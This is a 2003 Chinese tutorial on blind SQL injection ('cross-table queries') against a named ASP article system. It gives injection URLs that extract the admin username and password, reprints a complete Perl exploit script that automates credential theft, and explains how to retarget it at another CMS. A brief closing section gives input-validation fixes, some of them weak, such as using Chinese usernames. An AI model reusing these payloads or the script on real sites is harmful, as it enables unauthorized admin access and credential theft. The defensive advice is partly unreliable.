明輝手游網(wǎng)中心:是一個免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

一個跨表查詢的例子

[摘要]最近沒有事做。幫朋友看看站點(diǎn)的安全性,這個站點(diǎn)是使用的是盜帥文章系統(tǒng)2002特別版,這是最新的版本了吧,現(xiàn)在是2003年7月了,我不知道還有怎么樣的漏洞,先去找一個來研究一下代碼還有熟悉一下數(shù)據(jù)庫的結(jié)構(gòu)?吹絪how.asp這個文件的時候發(fā)現(xiàn)這里: Set rs = Server.CreateOb...

最近沒有事做。幫朋友看看站點(diǎn)的安全性,這個站點(diǎn)是使用的是盜帥文章系統(tǒng)2002特別版,這是最新的版本了吧,現(xiàn)在是2003年7月了,我不知道還有怎么樣的漏洞,先去找一個來研究一下代碼還有熟悉一下數(shù)據(jù)庫的結(jié)構(gòu)?吹絪how.asp這個文件的時候發(fā)現(xiàn)這里:

Set rs = Server.CreateObject("ADODB.Recordset")
sql="SELECT * FROM article where id="&id
rs.OPEN sql, Conn,1,3
if rs.eof then
article="沒有該文章"
else

再看看





這些被引用的文件中,沒有一個是對提交的數(shù)據(jù)做了檢查的。果然有漏洞。最主要是沒有禁止空格(僅禁止空格是不夠的,這里是相對這個程序而言),這樣就可以進(jìn)行跨表查詢了,顧名思義,就是提交精心構(gòu)造的語句查詢其他表里面的數(shù)據(jù)。這個show.asp的id沒有檢查就放進(jìn)查詢語句,查詢的表是article,我們通過提交子查詢語句來查詢admin里面的用戶名和密碼。這樣就是跨表查詢了。也是Sql Injection的一種,最近學(xué)習(xí)Web安全上癮,寫篇文章來鞏固一下。本文涉及知識點(diǎn)比較多,難免亂,寫得不好請見諒。如果發(fā)現(xiàn)有錯漏的地方希望能和我聯(lián)系、交流。感激不盡。

注意:在實(shí)際中,瀏覽器會自動把地址欄中的空格轉(zhuǎn)換為%20,以下所有提交的語句中包含的%20我已經(jīng)全部處理掉,這樣大家看得更加清楚。

跨表查詢的是通過什么來判斷呢?通過提交的等式、不等式看返回的頁面。比如在提交:

http:// 127.0.0.1/show.asp?id=1 and 1=1
http:// 127.0.0.1/show.asp?id=1 and 1=2

看到后面的1=1、1=2就是一個關(guān)鍵,前者值為真、后者值為假。如果漏洞存在,一般返回的兩個不同的頁面或者不同的錯誤信息。拿具體的來說就是剛才我們看的盜帥文章系統(tǒng)2002特別版。當(dāng)我們提交第一句的時候文章正常顯示,提交第二句的時候返回“沒有該文章”,這樣我們就可以通過頁面的信息判斷我們提交的子查詢是否獲得正確信息。下面來看看這句SQL查詢語句。

select 字段 from 表 where 某標(biāo)準(zhǔn),這句話的意思就是以某標(biāo)準(zhǔn)查詢在某表中的某字段,
select min(id) from admin where len(admin)=5這句的意思可以這樣理解,以字段admin中長度為5的字符串為標(biāo)準(zhǔn)在admin表中查詢id字段中的最小值。我這樣解釋可能比較難理解,我是根據(jù)語句的解釋來解釋含義的,這里涉及的函數(shù)我們就不討論了,大家可以去翻翻專業(yè)的數(shù)據(jù)庫書籍。這句查詢語句是查詢id的,所以返回的就是id字段中的值,比如返回2,那么在剛才的

http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where len(admin)=5)
也相當(dāng)于
http:// 127.0.0.1/show.asp?id=1 and 1=2
返回“沒有該文章”,因此為假值,當(dāng)我們提交
http://127.0.0.1/show.asp?id=1 and 2=(select min(id) from admin where len(admin)=5)

正常顯示文章,說明id后跟的是等式,所以我們要查詢的最小id字段中的值是2。下面我把所提交的語句得到真值的結(jié)果全部寫出來,大家結(jié)合上面的理論很容易就可以理解了。為了容易看,我把瀏覽器所產(chǎn)生的都去掉了。

http://127.0.0.1/show.asp?id=1 and 1=(select min(id) from admin where qx=2)
--獲得管理員權(quán)限的最小id值為1,
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(admin)=5)
--獲得id為1的管理員的用戶名長度為5,
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(pass)=5)
--獲得id為1的管理員的密碼長度為5,
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(admin,5)= admin)
--獲得id為1的管理員從左邊數(shù)起的5位用戶名為admin,
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(pass,5)= admin)
--獲得id為1的管理員從左邊數(shù)起的5位密碼為admin,

注意:如果在left(pass,1)=后面是數(shù)字,那么要把數(shù)字用單引號包含起來,例: left(pass,1)= ‘1’ 否則程序會出錯。

制作Exploit

這樣就可以知道管理員的用戶名和密碼了。但是實(shí)際中,沒有哪個安全意識高的管理員的密碼是8位以下的。用戶名也一樣。如果我們真的靠手工提交語句。那我們真的要等到老了。我們的網(wǎng)費(fèi)不允許啊……所以我們要做一個Exploit來為我們完成瑣屑的工作。這方面的Exploit當(dāng)然用Perl寫比較好了。但我們這種菜鳥不會寫怎么辦?活學(xué)活用。修改別人的。下面我們來分析一下由wawa寫的Crack user&pass for DV_article system。感謝wawa。

#!/usr/bin/perl
#The script Crack user&pass for DV_article system
#Code by wawa@21cn.com
#Grouppage Http://www.Haowawa.com/
#Homepage Http://wawa.Haowawa.com/

use IO::Socket;

system('cls');
$ARGC = @ARGV;
if ($ARGC != 4)
{
print "\n\n";
print "\t* The script Crack user&pass for DV_article system *\n";
print "\n\t Welcom to www.Haowawa.com && wawa.haowawa.com\n";
print "\n\tExample: dvTxt.pl 127.0.0.1 /txt/list.asp 53 \"沒有找到相關(guān)文章\"\n";
print "\t dvTxt.pl \n\n\n";
exit;
}

$host = @ARGV[0];
$way = @ARGV[1];
$txtid = @ARGV[2];
$errinfo =@ARGV[3];
$port = 80;

print "\n\t* Welcom to http://www.Haowawa.com && http://wawa.haowawa.com *\n";
print "\n\n開始在 $host 上進(jìn)行測試,請等待......\n";

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";

&url;@res = &connect;

#print @res;

if ("@res" !~ /$errinfo/)
{
print "\n\t* 發(fā)現(xiàn)一管理員ID號為: $adminid \n";
last;
}
}

for ($passlen=1;$passlen<=10;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
print "\n\t* 發(fā)現(xiàn)ID=$adminid的管理員的密碼長度為: $passlen 位\n";
last;
}
}

for ($userlen=1;$userlen<=20;$userlen++)
{
$way1 = "?id=$txtid%20AND%20$userlen=(select%20len(username)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
print "\n\t* 發(fā)現(xiàn)ID=$adminid的管理員的用戶名長度為: $userlen 位\n";
last;
}
}


@dig=(0..9);
@char=(a..z);
@tchar=qw(` ~ ! + @ # $ ^ * \( \) _ = - { } [ ] : " ; < > ? , . / \\);
@dic=(@dig,@char,@tchar);
@dic1=(@char,@dig,@tchar);

print "\n開始嘗試獲取ID=$adminid的管理員的用戶名及密碼,請等待......\n";

for ($userlocat=1;$userlocat<=$userlen;$userlocat++)
{
foreach $usertemp(@dic1)
{
$user=$userdic.$usertemp;

$way1 = "?id=$txtid%20AND%20'$user'=(select%20mid(username,1,$userlocat)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($userlocat==$userlen){print "\n\n\t* 獲取成功!!! ID=$adminid的管理員名字是: $user\n";last;}
print "\n\t* ID=$adminid的管理員名字的前 $userlocat 位為 $user";
$userdic=$userdic.$usertemp;
last;
}
}
}

for ($passlocat=1;$passlocat<=$passlen;$passlocat++)
{
foreach $passtemp(@dic)
{
$pass=$passdic.$passtemp;

$way1 = "?id=$txtid%20AND%20'$pass'=(select%20mid(password,1,$passlocat)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($passlocat==$passlen){print "\n\n\t* 獲取成功!!! ID=$adminid的管理員密碼是: $pass";last;}
print "\n\t* ID=$adminid的管理員密碼的前 $passlocat 位為 $pass";
$passdic=$passdic.$passtemp;
last;
}
}
}


print "\n\n\n\t* 測試完畢. 獲取到一個用戶名為$user密碼為$pass的管理員權(quán)限! *\n";
print "\n\n\n";
#system('pause');


sub url
{
$req = "GET $way$way1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
}


sub connect
{
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port)
die "Sorry! Could not connect to $host \n";

print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}


其實(shí)這類腳本都是差不多一個道理,利用某一個文件的漏洞來進(jìn)行跨表查詢的操作。盡管你看不懂大多數(shù)代碼,但剛才我們不是學(xué)習(xí)了那個SQL查詢語句嗎?我們就可以依葫蘆畫瓢把這個針對動網(wǎng)的Exploit改為針對盜帥文章的了,想改成什么的都可以啊?催@句:

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";

上面的$adminid變量是定義管理員id的取值范圍1-100,$后面的都是變量。不用去改。(select%20min(id)%20from%20admin%20where%20flag=1)這里就是我們要改的查詢語句。動網(wǎng)的admin表里面的flag字段等于1的是管理員,而盜帥的是字段qx等于2的是管理員。我們就可以把flag=1改為qx=2,from%20admin里面意思是從admin里查詢。盜帥的和動網(wǎng)一樣。我們就不用改了。改完后的代碼如下:

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)";

再看這句:

for ($passlen=1;$passlen<=10;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";

上面是$passlen變量也是定義取值范圍,也是密碼長度。動網(wǎng)的存放密碼的字段是password,盜帥的是pass,所以我們要把password改為pass,改完后就是這樣:

for ($passlen=1;$passlen<=50;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(pass)%20from%20admin%20where%20id=$adminid)";

由于盜帥的密碼最大長度是50,所以我們也不得不把$passlen的最大值改為50(好變態(tài)哦),

其他的地方大家應(yīng)該會改了吧?都是依葫蘆畫瓢的,只要表名、字段名、數(shù)據(jù)長度對就可以了。但是真的要寫出好的Exploit,還得下大力氣精通那些編程語言。畢竟這是修改別人的嘛……

解決辦法

上面說了那么多攻擊方法,下面說說出現(xiàn)這類漏洞如何解決。因為是沒有檢查提交的變量。那我們就要加一些代碼來檢查一下。把下面的短短代碼加入到查詢語句的前面。這樣就會先檢查提交的變量,才放到SQL查詢語句中。

dim idid
idid=replace(request("id")," ","")
if isnumeric(idid)=0 or idid="" then
response.write "禁止提交非法語句!"
response.end
end if

注意,這里聲明了一個idid變量,用來檢查id,所以后面的查詢語句中的id要改為idid,這樣不管別人是提交單引號、分號還是and 1=1、and 1=2都是顯示“禁止提交非法語句!”這樣誰還能判斷真假?這里也給廣大ASP開發(fā)人員提個醒,凡是放到SQL查詢語句的變量都要經(jīng)過嚴(yán)格檢查,禁止一切特殊字符。安全的程序,用戶用得也安心。還有另一種方法,看下面這段代碼:

Function isInt(str)
Dim L,I
isInt=False
If Trim(Str)="" Or IsNull(str) Then Exit Function
str=CStr(Trim(str))
L=Len(Str)
For I=1 To L
If Mid(Str,I,1)>"9" Or Mid(Str,I,1)<"0" Then Exit Function
Next
isInt=True
End Function

Function CheckStr(Str)
If Trim(Str)="" Or IsNull(str) Then Exit Function
Checkstr=Replace(Trim(Str),"'","''")
End Function

Dim id
id=CheckStr(Request.QueryString("id"))
If isInt(ID)=False Then
Response.Redirect "index.asp"
End If


這里寫了兩個Function過程來判斷數(shù)字是否整形,還有檢查一些非法字符。如果有則跳回index.asp這個頁面。其實(shí)也和上面的一樣,上面是給出錯誤信息。第二種方法是跳轉(zhuǎn)頁面。大家可以試試。多掌握一種方法也不是壞事啊。方法是多種多樣的,還有不少沒有舉例。大家自己去探索吧。

如果實(shí)在不會改,還有一個下策就是使用中文用戶名。中國的文字有多少?大家自己看看吧。還有,提交中文的語句,大家也可以看看有什么有趣的提示。也不失為一個好辦法。呵呵。



標(biāo)簽:一個跨表查詢的例子